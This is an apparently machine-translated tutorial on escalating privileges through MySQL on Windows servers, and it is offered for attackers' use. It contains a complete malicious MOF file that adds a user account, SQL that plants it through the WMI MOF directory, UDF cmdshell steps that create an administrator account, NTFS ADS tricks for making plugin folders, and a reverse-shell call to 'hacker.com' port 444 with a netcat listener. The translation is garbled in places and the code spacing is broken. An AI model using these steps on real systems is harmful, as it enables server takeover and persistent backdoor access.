Common methods of extracting weights for MySQL

One, the use of MOF to raise the right

Windows Management Instrumentation (WMI) provides the following three ways to compile Managed Object Format (MOF) files into the WMI repository:

Method 1: Run the MOF file that specifies the Mofcomp.exe file as the command-line parameter.

Method 2: Use the Imofcompiler interface and the Compilefile method.

Method 3: Drag-and-drop the MOF file into the%systemroot%\system32\wbem\mof folder.

Microsoft recommends that you compile the MOF file to the repository using the first two methods. That is, run the Mofcomp.exe file, or use the Imofcompiler::compilefile method.

The third method is provided only for backward compatibility with earlier versions of WMI, and should not be used since this feature may not be available after a future release.

Operation Steps

1, upload nullevt.mof file to writable directory via Webshell, Nullevt.mof code is as follows:

#pragma namespace ("\\\\.\\root\\subscription") instance of __EventFilter as $EventFilter {    eventnamespace = "root\\ Cimv2 ";    Name  = "filtP2";    Query = "SELECT * from __InstanceModificationEvent"            "Where targetinstance Isa \" Win32_localtime\ "" and            Targeti Nstance. Second = 5 ";    QueryLanguage = "WQL";}; Instance of Activescripteventconsumer as $Consumer {    Name = "consPCSV2";    Scriptingengine = "JScript";    ScriptText =    "var WSH = new ActiveXObject (\" Wscript.shell\ ") \nwsh.run (\" Net.exe user Demon 123456/add\ ")"; 
     };instance of __filtertoconsumerbinding{    Consumer   = $Consumer;    Filter = $EventFilter;};

2, read nullevt.mof via SQL statement and export to MOF directory

Select Load_file (' C:/recycler/nullevt.mof ') into DumpFile ' C:/windows/system32/wbem/mof/nullevt.mof '

Second, the use of UDF to raise the right

UDF right This is the most common way to raise power, but often in the execution of the "can ' t open Shared Library" situation, where we can use the NTFS ads stream to solve this problem.

1, the most common is directly using udf.php this kind of tool to perform UDF right, as follows.

After connecting to MySQL, the pilot is udf.dll to the c:\windows\system32 directory.

2. Create the appropriate function and execute the command, as follows:

Create function Cmdshell returns string Soname ' Udf.dll '; --Create function Select Cmdshell (' Net user Demon 123456/add ');   Select Cmdshell (' net localgroup Administrators Demon/add '); --delete function --delete function

3, in some cases, we will encounter the can ' t open shared library situation, we need to export Udf.dll to the Lib\plugin directory,

But plugin does not exist by default, what should I do? It's good to have Daniel. Methods of creating folders using NTFS ads streams

  --Find the directory for MySQL Select ' It is dll ' into DumpFile ' c:\\program Files\\phpstudy\\mysql\\lib:: $INDEX _ ALLOCATION ';  --Create LIB directory with NTFS ads --Create plugin directory with NTFS ads

• When the default UDF export fails, you can try to export the UDF manually by using the manual method, as follows:
  First upload the Udf.dll, connect to MySQL, and then follow the steps below to execute the SQL statement.

      CREATE TABLE ZZ (ABC Longblob);//Note the column type is Longblob    insert INTO ZZ values (load_file (' C:\\udf.dll '));//uploaded Udf.dll Path    SELECT * from ZZ to DumpFile ' c://windows//system32//udf.dll ';//import Destination address MySQL 5.0 above to import into the system directory    Create Function mycmd returns string Soname ' Udf.dll '; Here if the exported path is C://windows//system32//udf2.dll ' can be changed back to Udf2.dll    select myCMD (' Net user ');    Drop function myCMD;

  Delete the Udf.dll method, first delete the generated function
  Drop function myCMD;

Three, rebound shell right

If we sweep to a MySQL root weak password, and can be connected, but the server above the site is not Getshell, then we do?

1. Use the MySQL client tool to connect to the MySQL server and perform the following actions.

Mysql.exe-h target.com-uroot-p passwordmysql> \. C:\mysql.txtmysql> Select Backshell ("hacker.com", 444);

2, local monitoring of your rebound port

NC.EXE-VLP 444

After success, you will get a system permission for the Cmdshell, in fact this is also the use of UDF right.

Common methods of extracting weights for MySQL